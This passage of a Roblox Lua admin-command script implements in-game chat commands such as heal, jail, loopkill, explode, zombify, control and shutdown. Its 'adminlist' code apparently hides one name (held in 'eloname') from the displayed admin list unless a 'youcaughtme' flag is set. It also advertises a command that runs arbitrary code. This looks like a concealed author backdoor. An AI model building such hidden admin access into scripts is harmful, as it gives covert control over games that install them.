| 695 | if string.sub(msg,1,5) == "heal/" then | |
| 696 | local player = findplayer(string.sub(msg,6),speaker) | |
| 697 | if player ~= 0 then | |
| 698 | for i = 1,#player do | |
| 699 | if player[i].Character ~= nil then | |
| 700 | local human = player[i].Character:FindFirstChild("Humanoid")
| |
| 701 | if human ~= nil then | |
| 702 | human.Health = human.MaxHealth | |
| 703 | end end end end end | |
| 704 | ||
| 705 | if string.sub(msg,1,4) == "sit/" then | |
| 706 | local player = findplayer(string.sub(msg,5),speaker) | |
| 707 | if player ~= 0 then | |
| 708 | for i = 1,#player do | |
| 709 | if player[i].Character ~= nil then | |
| 710 | local human = player[i].Character:FindFirstChild("Humanoid")
| |
| 711 | if human ~= nil then | |
| 712 | human.Sit = true | |
| 713 | end end end end end | |
| 714 | ||
| 715 | if string.sub(msg,1,5) == "jump/" then | |
| 716 | local player = findplayer(string.sub(msg,6),speaker) | |
| 717 | if player ~= 0 then | |
| 718 | for i = 1,#player do | |
| 719 | if player[i].Character ~= nil then | |
| 720 | local human = player[i].Character:FindFirstChild("Humanoid")
| |
| 721 | if human ~= nil then | |
| 722 | human.Jump = true | |
| 723 | end end end end end | |
| 724 | ||
| 725 | if string.sub(msg,1,6) == "stand/" then | |
| 726 | local player = findplayer(string.sub(msg,7),speaker) | |
| 727 | if player ~= 0 then | |
| 728 | for i = 1,#player do | |
| 729 | if player[i].Character ~= nil then | |
| 730 | local human = player[i].Character:FindFirstChild("Humanoid")
| |
| 731 | if human ~= nil then | |
| 732 | human.Sit = false | |
| 733 | end end end end end | |
| 734 | ||
| 735 | if string.sub(msg,1,5) == "jail/" then | |
| 736 | local player = findplayer(string.sub(msg,6),speaker) | |
| 737 | if player ~= 0 then | |
| 738 | for i = 1,#player do | |
| 739 | if player[i].Character ~= nil then | |
| 740 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 741 | if torso ~= nil then | |
| 742 | local ack = Instance.new("Model")
| |
| 743 | ack.Name = "Jail" .. player[i].Name | |
| 744 | icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
| |
| 745 | ack.Parent = game.Workspace | |
| 746 | ack:MoveTo(torso.Position) | |
| 747 | end end end end end | |
| 748 | ||
| 749 | if string.sub(msg,1,7) == "unjail/" then | |
| 750 | local player = findplayer(string.sub(msg,8),speaker) | |
| 751 | if player ~= 0 then | |
| 752 | for i = 1,#player do | |
| 753 | local c = game.Workspace:GetChildren() | |
| 754 | for i2 =1,#c do | |
| 755 | if string.sub(c[i2].Name,1,4) == "Jail" then | |
| 756 | if string.sub(c[i2].Name,5) == player[i].Name then | |
| 757 | c[i2]:remove() | |
| 758 | end end end end end end | |
| 759 | ||
| 760 | if string.sub(msg,1,12) == "removetools/" then | |
| 761 | local player = findplayer(string.sub(msg,13),speaker) | |
| 762 | if player ~= 0 then | |
| 763 | for i = 1,#player do | |
| 764 | local c = player[i].Backpack:GetChildren() | |
| 765 | for i =1,#c do | |
| 766 | c[i]:remove() | |
| 767 | end end end end | |
| 768 | ||
| 769 | if string.sub(msg,1,10) == "givetools/" then | |
| 770 | local player = findplayer(string.sub(msg,11),speaker) | |
| 771 | if player ~= 0 then | |
| 772 | for i = 1,#player do | |
| 773 | local c = game.StarterPack:GetChildren() | |
| 774 | for i =1,#c do | |
| 775 | c[i]:clone().Parent = player[i].Backpack | |
| 776 | end end end end | |
| 777 | ||
| 778 | if string.sub(msg,1,11) == "givebtools/" then | |
| 779 | local player = findplayer(string.sub(msg,12),speaker) | |
| 780 | if player ~= 0 then | |
| 781 | for i = 1,#player do | |
| 782 | local a = Instance.new("HopperBin")
| |
| 783 | a.BinType = "GameTool" | |
| 784 | a.Parent = player[i].Backpack | |
| 785 | local a = Instance.new("HopperBin")
| |
| 786 | a.BinType = "Clone" | |
| 787 | a.Parent = player[i].Backpack | |
| 788 | local a = Instance.new("HopperBin")
| |
| 789 | a.BinType = "Hammer" | |
| 790 | a.Parent = player[i].Backpack | |
| 791 | end end end | |
| 792 | ||
| 793 | if string.sub(msg,1,9) == "unshield/" then | |
| 794 | local player = findplayer(string.sub(msg,10),speaker) | |
| 795 | if player ~= 0 then | |
| 796 | for i = 1,#player do | |
| 797 | if player[i].Character ~= nil then | |
| 798 | local shield = player[i].Character:FindFirstChild("Weird Ball Thingy")
| |
| 799 | if shield ~= nil then | |
| 800 | shield:remove() | |
| 801 | end end end end end | |
| 802 | ||
| 803 | if string.sub(msg,1,7) == "shield/" then | |
| 804 | local player = findplayer(string.sub(msg,8),speaker) | |
| 805 | if player ~= 0 then | |
| 806 | for i = 1,#player do | |
| 807 | if player[i].Character ~= nil then | |
| 808 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 809 | if torso ~= nil then | |
| 810 | if player[i].Character:FindFirstChild("Weird Ball Thingy") == nil then
| |
| 811 | local ball = Instance.new("Part")
| |
| 812 | ball.Size = Vector3.new(10,10,10) | |
| 813 | ball.BrickColor = BrickColor.new(1) | |
| 814 | ball.Transparency = 0.5 | |
| 815 | ball.CFrame = torso.CFrame | |
| 816 | ball.TopSurface = "Smooth" | |
| 817 | ball.BottomSurface = "Smooth" | |
| 818 | ball.CanCollide = false | |
| 819 | ball.Name = "Weird Ball Thingy" | |
| 820 | ball.Reflectance = 0.2 | |
| 821 | local sm = Instance.new("SpecialMesh")
| |
| 822 | sm.MeshType = "Sphere" | |
| 823 | sm.Parent = ball | |
| 824 | ball.Parent = player[i].Character | |
| 825 | createscript([[ | |
| 826 | function ot(hit) | |
| 827 | if hit.Parent ~= nil then | |
| 828 | if hit.Parent ~= script.Parent.Parent then | |
| 829 | if hit.Anchored == false then | |
| 830 | hit:BreakJoints() | |
| 831 | local pos = script.Parent.CFrame * (Vector3.new(0, 1.4, 0) * script.Parent.Size) | |
| 832 | hit.Velocity = ((hit.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 150 + hit.Velocity | |
| 833 | hit.RotVelocity = hit.RotVelocity + Vector3.new(hit.Position.z - pos.z, 0, pos.x - hit.Position.x).unit * 40 | |
| 834 | end end end end | |
| 835 | script.Parent.Touched:connect(ot) ]], ball) | |
| 836 | local bf = Instance.new("BodyForce")
| |
| 837 | bf.force = Vector3.new(0,5e+004,0) | |
| 838 | bf.Parent = ball | |
| 839 | local w = Instance.new("Weld")
| |
| 840 | w.Part1 = torso | |
| 841 | w.Part0 = ball | |
| 842 | ball.Shape = 0 | |
| 843 | w.Parent = torso | |
| 844 | end end end end end end | |
| 845 | ||
| 846 | if string.sub(msg,1,11) == "unloopkill/" then | |
| 847 | local player = findplayer(string.sub(msg,12),speaker) | |
| 848 | if player ~= 0 then | |
| 849 | for i = 1,#player do | |
| 850 | local c = game.Workspace:GetChildren() | |
| 851 | for i2 =1,#c do | |
| 852 | local it = c[i2]:FindFirstChild("elplayerioloopkillioBlobbie244io")
| |
| 853 | if it ~= nil then | |
| 854 | if it.Value == player[i] then | |
| 855 | c[i2]:remove() | |
| 856 | end end end end end end | |
| 857 | ||
| 858 | if string.sub(msg,1,9) == "loopkill/" then | |
| 859 | local player = findplayer(string.sub(msg,10),speaker) | |
| 860 | if player ~= 0 then | |
| 861 | for i = 1,#player do | |
| 862 | local s = Instance.new("Script")
| |
| 863 | createscript( [[name = "]] .. player[i].Name .. [[" | |
| 864 | ov = Instance.new("ObjectValue")
| |
| 865 | ov.Value = game.Players:FindFirstChild(name) | |
| 866 | ov.Name = "elplayerioloopkillioBlobbie244io" | |
| 867 | ov.Parent = script | |
| 868 | player = ov.Value | |
| 869 | function oa(object) | |
| 870 | local elplayer = game.Players:playerFromCharacter(object) | |
| 871 | if elplayer ~= nil then | |
| 872 | if elplayer == player then | |
| 873 | local humanoid = object:FindFirstChild("Humanoid")
| |
| 874 | if humanoid ~= nil then | |
| 875 | humanoid.Health = 0 | |
| 876 | end end end end | |
| 877 | game.Workspace.ChildAdded:connect(oa) | |
| 878 | ]],game.Workspace) | |
| 879 | if player[i].Character ~= nil then | |
| 880 | local human = player[i].Character:FindFirstChild("Humanoid")
| |
| 881 | if human ~= nil then | |
| 882 | human.Health = 0 | |
| 883 | end end end end end | |
| 884 | ||
| 885 | if string.lower(msg) == "shutdown" then | |
| 886 | local imgettingtiredofmakingthisstupidscript = Blobbie244(speaker.Name) | |
| 887 | if imgettingtiredofmakingthisstupidscript == true then | |
| 888 | game.NetworkServer:remove() | |
| 889 | end end | |
| 890 | ||
| 891 | if string.sub(msg,1,5) == "time/" then | |
| 892 | game.Lighting.TimeOfDay = string.sub(msg,6) | |
| 893 | end | |
| 894 | ||
| 895 | if msg == "commands" then | |
| 896 | local text = string.rep(" ",40)
| |
| 897 | text = text .. [[fix, kill/Blobbie244, loopkill/Blobbie244, unloopkill/Blobbie244, heal/Blobbie244, damage/Blobbie244/50, health/Blobbie244/999999, kick/Blobbie244, ban/Blobbie244, bannedlist, unban/Blobbie244, explode/Blobbie244, rocket/Blobbie244, removetools/Blobbie244, givetools/Blobbie244, givebtools/Blobbie244, sit/Blobbie244, jump/Blobbie244, stand/Blobbie244, part/4/1/2, respawn/Blobbie244, jail/Blobbie244, unjail/Blobbie244, punish/Blobbie244, unpunish/Blobbie244, merge/Blobbie244/Farvei, teleport/Blobbie244/nccvoyager, control/Blobbie244, change/Blobbie244/Money/999999, tools, give/Blobbie244/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Blobbie244, antigrav/Blobbie244, grav/Blobbie244, highgrav/Blobbie244, setgrav/Blobbie244/-196.2, trip/Blobbie244, walkspeed/Blobbie244/99, invisible/Blobbie244, visible/Blobbie244, freeze/Blobbie244, thaw/Blobbie244, unlock/Blobbie244, lock/Blobbie244, ff/Blobbie244, unff/Blobbie244, sparkles/Blobbie244, unsparkles/Blobbie244, shield/Blobbie244, unshield/Blobbie244, god/Blobbie244, ungod/Blobbie244, zombify/Blobbie244, admin/Blobbie244, adminlist, unadmin/Blobbie244, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, c/ game.Workspace:remove(), clear, Credit to Blobbie244 for this admin command script.]] | |
| 898 | local mes = Instance.new("Message")
| |
| 899 | mes.Parent = speaker | |
| 900 | local acko = 0 | |
| 901 | while true do | |
| 902 | acko = acko + 1 | |
| 903 | if string.sub(text,acko,acko) == "" then | |
| 904 | mes:remove() | |
| 905 | return | |
| 906 | elseif mes.Parent == nil then | |
| 907 | return | |
| 908 | end | |
| 909 | mes.Text = string.sub(text,acko,acko + 40) | |
| 910 | wait(0.07) | |
| 911 | end end | |
| 912 | ||
| 913 | if msg == "tools" then | |
| 914 | local text = string.rep(" ",40)
| |
| 915 | local c = tools:GetChildren() | |
| 916 | if #c == 0 then | |
| 917 | text = text .. "No tools available." | |
| 918 | else | |
| 919 | for i =1,#c do | |
| 920 | if i ~= 1 then | |
| 921 | text = text .. ", " | |
| 922 | end | |
| 923 | text = text .. c[i].Name | |
| 924 | end end | |
| 925 | local mes = Instance.new("Message")
| |
| 926 | mes.Parent = speaker | |
| 927 | local acko = 0 | |
| 928 | while true do | |
| 929 | acko = acko + 1 | |
| 930 | if string.sub(text,acko,acko) == "" then | |
| 931 | mes:remove() | |
| 932 | return | |
| 933 | elseif mes.Parent == nil then | |
| 934 | return | |
| 935 | end | |
| 936 | mes.Text = string.sub(text,acko,acko + 40) | |
| 937 | wait(0.1) | |
| 938 | end end | |
| 939 | ||
| 940 | if msg == "bannedlist" then | |
| 941 | local text = string.rep(" ",40)
| |
| 942 | if #bannedlist == 0 then | |
| 943 | text = text .. "The banned list is empty." | |
| 944 | else | |
| 945 | for i =1,#bannedlist do | |
| 946 | if i ~= 1 then | |
| 947 | text = text .. ", " | |
| 948 | end | |
| 949 | text = text .. bannedlist[i] | |
| 950 | end end | |
| 951 | local mes = Instance.new("Message")
| |
| 952 | mes.Parent = speaker | |
| 953 | local acko = 0 | |
| 954 | while true do | |
| 955 | acko = acko + 1 | |
| 956 | if string.sub(text,acko,acko) == "" then | |
| 957 | mes:remove() | |
| 958 | return | |
| 959 | elseif mes.Parent == nil then | |
| 960 | return | |
| 961 | end | |
| 962 | mes.Text = string.sub(text,acko,acko + 40) | |
| 963 | wait(0.1) | |
| 964 | end end | |
| 965 | ||
| 966 | if msg == "adminlist" then | |
| 967 | local text = string.rep(" ",40)
| |
| 968 | if #adminlist == 0 then--How would that be possible in this situation anyway? lol | |
| 969 | text = text .. "The admin list is empty." | |
| 970 | else | |
| 971 | for i =1,#adminlist do | |
| 972 | if adminlist[i] == eloname then | |
| 973 | if youcaughtme == 1 then | |
| 974 | if i ~= 1 then | |
| 975 | text = text .. ", " | |
| 976 | end | |
| 977 | text = text .. adminlist[i] | |
| 978 | end | |
| 979 | else | |
| 980 | if i ~= 1 then | |
| 981 | text = text .. ", " | |
| 982 | end | |
| 983 | text = text .. adminlist[i] | |
| 984 | end end end | |
| 985 | local mes = Instance.new("Message")
| |
| 986 | mes.Parent = speaker | |
| 987 | local acko = 0 | |
| 988 | while true do | |
| 989 | acko = acko + 1 | |
| 990 | if string.sub(text,acko,acko) == "" then | |
| 991 | mes:remove() | |
| 992 | return | |
| 993 | elseif mes.Parent == nil then | |
| 994 | return | |
| 995 | end | |
| 996 | mes.Text = string.sub(text,acko,acko + 40) | |
| 997 | wait(0.1) | |
| 998 | end end | |
| 999 | ||
| 1000 | if string.sub(msg,1,11) == "maxplayers/" then | |
| 1001 | local pie = game.Players.MaxPlayers | |
| 1002 | game.Players.MaxPlayers = string.sub(msg,12) | |
| 1003 | if game.Players.MaxPlayers == 0 then | |
| 1004 | game.Players.MaxPlayers = pie | |
| 1005 | end end | |
| 1006 | ||
| 1007 | if string.sub(msg,1,8) == "zombify/" then | |
| 1008 | local player = findplayer(string.sub(msg,9),speaker) | |
| 1009 | if player ~= 0 then | |
| 1010 | for i = 1,#player do | |
| 1011 | if player[i].Character ~= nil then | |
| 1012 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1013 | if torso ~= nil then | |
| 1014 | local arm = player[i].Character:FindFirstChild("Left Arm")
| |
| 1015 | if arm ~= nil then | |
| 1016 | arm:remove() | |
| 1017 | end | |
| 1018 | local arm = player[i].Character:FindFirstChild("Right Arm")
| |
| 1019 | if arm ~= nil then | |
| 1020 | arm:remove() | |
| 1021 | end | |
| 1022 | local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
| 1023 | local zarm = Instance.new("Part")
| |
| 1024 | zarm.Color = Color3.new(0.631373, 0.768627, 0.545098) | |
| 1025 | zarm.Locked = true | |
| 1026 | zarm.formFactor = "Symmetric" | |
| 1027 | zarm.Size = Vector3.new(2,1,1) | |
| 1028 | zarm.TopSurface = "Smooth" | |
| 1029 | zarm.BottomSurface = "Smooth" | |
| 1030 | --Credit for the infectontouch script goes to whoever it is that made it. | |
| 1031 | createscript( [[ | |
| 1032 | wait(1) | |
| 1033 | function onTouched(part) | |
| 1034 | if part.Parent ~= nil then | |
| 1035 | local h = part.Parent:findFirstChild("Humanoid")
| |
| 1036 | if h~=nil then | |
| 1037 | if cantouch~=0 then | |
| 1038 | if h.Parent~=script.Parent.Parent then | |
| 1039 | if h.Parent:findFirstChild("zarm")~=nil then return end
| |
| 1040 | cantouch=0 | |
| 1041 | local larm=h.Parent:findFirstChild("Left Arm")
| |
| 1042 | local rarm=h.Parent:findFirstChild("Right Arm")
| |
| 1043 | if larm~=nil then | |
| 1044 | larm:remove() | |
| 1045 | end | |
| 1046 | if rarm~=nil then | |
| 1047 | rarm:remove() | |
| 1048 | end | |
| 1049 | local zee=script.Parent.Parent:findFirstChild("zarm")
| |
| 1050 | if zee~=nil then | |
| 1051 | local zlarm=zee:clone() | |
| 1052 | local zrarm=zee:clone() | |
| 1053 | if zlarm~=nil then | |
| 1054 | local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
| 1055 | zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot | |
| 1056 | zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot | |
| 1057 | zlarm.Parent=h.Parent | |
| 1058 | zrarm.Parent=h.Parent | |
| 1059 | zlarm:makeJoints() | |
| 1060 | zrarm:makeJoints() | |
| 1061 | zlarm.Anchored=false | |
| 1062 | zrarm.Anchored=false | |
| 1063 | wait(0.1) | |
| 1064 | h.Parent.Head.Color=zee.Color | |
| 1065 | else return end | |
| 1066 | end | |
| 1067 | wait(1) | |
| 1068 | cantouch=1 | |
| 1069 | end | |
| 1070 | end | |
| 1071 | end | |
| 1072 | end | |
| 1073 | end | |
| 1074 | script.Parent.Touched:connect(onTouched) | |
| 1075 | ]],zarm) | |
| 1076 | zarm.Name = "zarm" | |
| 1077 | local zarm2 = zarm:clone() | |
| 1078 | zarm2.CFrame = torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot | |
| 1079 | zarm.CFrame = torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot | |
| 1080 | zarm.Parent = player[i].Character | |
| 1081 | zarm:MakeJoints() | |
| 1082 | zarm2.Parent = player[i].Character | |
| 1083 | zarm2:MakeJoints() | |
| 1084 | local head = player[i].Character:FindFirstChild("Head")
| |
| 1085 | if head ~= nil then | |
| 1086 | head.Color = Color3.new(0.631373, 0.768627, 0.545098) | |
| 1087 | end end end end end end | |
| 1088 | ||
| 1089 | if string.sub(msg,1,8) == "explode/" then | |
| 1090 | local player = findplayer(string.sub(msg,9),speaker) | |
| 1091 | if player ~= 0 then | |
| 1092 | for i = 1,#player do | |
| 1093 | if player[i].Character ~= nil then | |
| 1094 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1095 | if torso ~= nil then | |
| 1096 | local ex = Instance.new("Explosion")
| |
| 1097 | ex.Position = torso.Position | |
| 1098 | ex.Parent = game.Workspace | |
| 1099 | end end end end end | |
| 1100 | ||
| 1101 | if string.sub(msg,1,7) == "rocket/" then | |
| 1102 | local player = findplayer(string.sub(msg,8),speaker) | |
| 1103 | if player ~= 0 then | |
| 1104 | for i = 1,#player do | |
| 1105 | if player[i].Character ~= nil then | |
| 1106 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1107 | if torso ~= nil then | |
| 1108 | local r = Instance.new("Part")
| |
| 1109 | r.Name = "Rocket" | |
| 1110 | r.Size = Vector3.new(1,8,1) | |
| 1111 | r.TopSurface = "Smooth" | |
| 1112 | r.BottomSurface = "Smooth" | |
| 1113 | local w = Instance.new("Weld")
| |
| 1114 | w.Part1 = torso | |
| 1115 | w.Part0 = r | |
| 1116 | w.C0 = CFrame.new(0,0,-1) | |
| 1117 | local bt = Instance.new("BodyThrust")
| |
| 1118 | bt.force = Vector3.new(0,5700,0) | |
| 1119 | bt.Parent = r | |
| 1120 | r.Parent = player[i].Character | |
| 1121 | w.Parent = torso | |
| 1122 | createscript([[ | |
| 1123 | for i=1,120 do | |
| 1124 | local ex = Instance.new("Explosion")
| |
| 1125 | ex.BlastRadius = 0 | |
| 1126 | ex.Position = script.Parent.Position - Vector3.new(0,2,0) | |
| 1127 | ex.Parent = game.Workspace | |
| 1128 | wait(0.05) | |
| 1129 | end | |
| 1130 | local ex = Instance.new("Explosion")
| |
| 1131 | ex.BlastRadius = 10 | |
| 1132 | ex.Position = script.Parent.Position | |
| 1133 | ex.Parent = game.Workspace | |
| 1134 | script.Parent.BodyThrust:remove() | |
| 1135 | script.Parent.Parent.Humanoid.Health = 0 | |
| 1136 | ]],r) | |
| 1137 | end end end end end | |
| 1138 | ||
| 1139 | if string.sub(msg,1,8) == "ambient/" then | |
| 1140 | local danumber1 = nil | |
| 1141 | local danumber2 = nil | |
| 1142 | for i = 9,100 do | |
| 1143 | if string.sub(msg,i,i) == "/" then | |
| 1144 | danumber1 = i | |
| 1145 | break | |
| 1146 | elseif string.sub(msg,i,i) == "" then | |
| 1147 | break | |
| 1148 | end end | |
| 1149 | if danumber1 == nil then return end | |
| 1150 | for i =danumber1 + 1,danumber1 + 100 do | |
| 1151 | if string.sub(msg,i,i) == "/" then | |
| 1152 | danumber2 = i | |
| 1153 | break | |
| 1154 | elseif string.sub(msg,i,i) == "" then | |
| 1155 | break | |
| 1156 | end end | |
| 1157 | if danumber2 == nil then return end | |
| 1158 | game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1)) | |
| 1159 | end | |
| 1160 | ||
| 1161 | --Eww, theres some kind of weird brown bug on my screen, i would flick it away but i'm afraid i'd smash it and get weird bug juices all over my screen... | |
| 1162 | ||
| 1163 | if string.sub(msg,1,5) == "part/" then | |
| 1164 | local danumber1 = nil | |
| 1165 | local danumber2 = nil | |
| 1166 | for i = 6,100 do | |
| 1167 | if string.sub(msg,i,i) == "/" then | |
| 1168 | danumber1 = i | |
| 1169 | break | |
| 1170 | elseif string.sub(msg,i,i) == "" then | |
| 1171 | break | |
| 1172 | end end | |
| 1173 | if danumber1 == nil then return end | |
| 1174 | for i =danumber1 + 1,danumber1 + 100 do | |
| 1175 | if string.sub(msg,i,i) == "/" then | |
| 1176 | danumber2 = i | |
| 1177 | break | |
| 1178 | elseif string.sub(msg,i,i) == "" then | |
| 1179 | break | |
| 1180 | end end | |
| 1181 | if danumber2 == nil then return end | |
| 1182 | if speaker.Character ~= nil then | |
| 1183 | local head = speaker.Character:FindFirstChild("Head")
| |
| 1184 | if head ~= nil then | |
| 1185 | local part = Instance.new("Part")
| |
| 1186 | part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) | |
| 1187 | part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) | |
| 1188 | part.Name = "Blobbie244's Admin Command Script V2 Part thingy" | |
| 1189 | part.Parent = game.Workspace | |
| 1190 | end end end | |
| 1191 | ||
| 1192 | --I finally tried flicking it but it keeps on coming back...... | |
| 1193 | ||
| 1194 | if string.sub(msg,1,8) == "control/" then | |
| 1195 | local player = findplayer(string.sub(msg,9),speaker) | |
| 1196 | if player ~= 0 then | |
| 1197 | if #player > 1 then | |
| 1198 | return | |
| 1199 | end | |
| 1200 | for i = 1,#player do | |
| 1201 | if player[i].Character ~= nil then | |
| 1202 | speaker.Character = player[i].Character | |
| 1203 | end end end end | |
| 1204 | ||
| 1205 | --IT WONT GO AWAY!!!!! | |
| 1206 | ||
| 1207 | if string.sub(msg,1,5) == "trip/" then | |
| 1208 | local player = findplayer(string.sub(msg,6),speaker) | |
| 1209 | if player ~= 0 then | |
| 1210 | for i = 1,#player do | |
| 1211 | if player[i].Character ~= nil then | |
| 1212 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1213 | if torso ~= nil then | |
| 1214 | torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better. | |
| 1215 | end end end end end | |
| 1216 | ||
| 1217 | --Yay! it finally went away! :) | |
| 1218 | ||
| 1219 | if string.sub(msg,1,8) == "setgrav/" then | |
| 1220 | danumber = nil | |
| 1221 | for i =9,100 do | |
| 1222 | if string.sub(msg,i,i) == "/" then | |
| 1223 | danumber = i | |
| 1224 | break | |
| 1225 | end end | |
| 1226 | if danumber == nil then | |
| 1227 | return | |
| 1228 | end | |
| 1229 | local player = findplayer(string.sub(msg,9,danumber - 1),speaker) | |
| 1230 | if player == 0 then | |
| 1231 | return | |
| 1232 | end | |
| 1233 | for i = 1,#player do | |
| 1234 | if player[i].Character ~= nil then | |
| 1235 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1236 | if torso ~= nil then | |
| 1237 | local bf = torso:FindFirstChild("BF")
| |
| 1238 | if bf ~= nil then | |
| 1239 | bf.force = Vector3.new(0,0,0) | |
| 1240 | else | |
| 1241 | local bf = Instance.new("BodyForce")
| |
| 1242 | bf.Name = "BF" | |
| 1243 | bf.force = Vector3.new(0,0,0) | |
| 1244 | bf.Parent = torso | |
| 1245 | end | |
| 1246 | local c2 = player[i].Character:GetChildren() | |
| 1247 | for i=1,#c2 do | |
| 1248 | if c2[i].className == "Part" then | |
| 1249 | torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0) | |
| 1250 | end end end end end end | |
| 1251 | ||
| 1252 | if string.sub(msg,1,10) == "walkspeed/" then | |
| 1253 | danumber = nil | |
| 1254 | for i =11,100 do | |
| 1255 | if string.sub(msg,i,i) == "/" then | |
| 1256 | danumber = i | |
| 1257 | break | |
| 1258 | end end | |
| 1259 | if danumber == nil then | |
| 1260 | return | |
| 1261 | end | |
| 1262 | local player = findplayer(string.sub(msg,11,danumber - 1),speaker) | |
| 1263 | if player == 0 then | |
| 1264 | return | |
| 1265 | end | |
| 1266 | for i = 1,#player do | |
| 1267 | if player[i].Character ~= nil then | |
| 1268 | humanoid = player[i].Character:FindFirstChild("Humanoid")
| |
| 1269 | if humanoid ~= nil then | |
| 1270 | humanoid.WalkSpeed = string.sub(msg,danumber + 1) | |
| 1271 | end end end end | |
| 1272 | ||
| 1273 | if string.sub(msg,1,7) == "damage/" then | |
| 1274 | danumber = nil | |
| 1275 | for i =8,100 do | |
| 1276 | if string.sub(msg,i,i) == "/" then | |
| 1277 | danumber = i | |
| 1278 | break | |
| 1279 | end end | |
| 1280 | if danumber == nil then | |
| 1281 | return | |
| 1282 | end | |
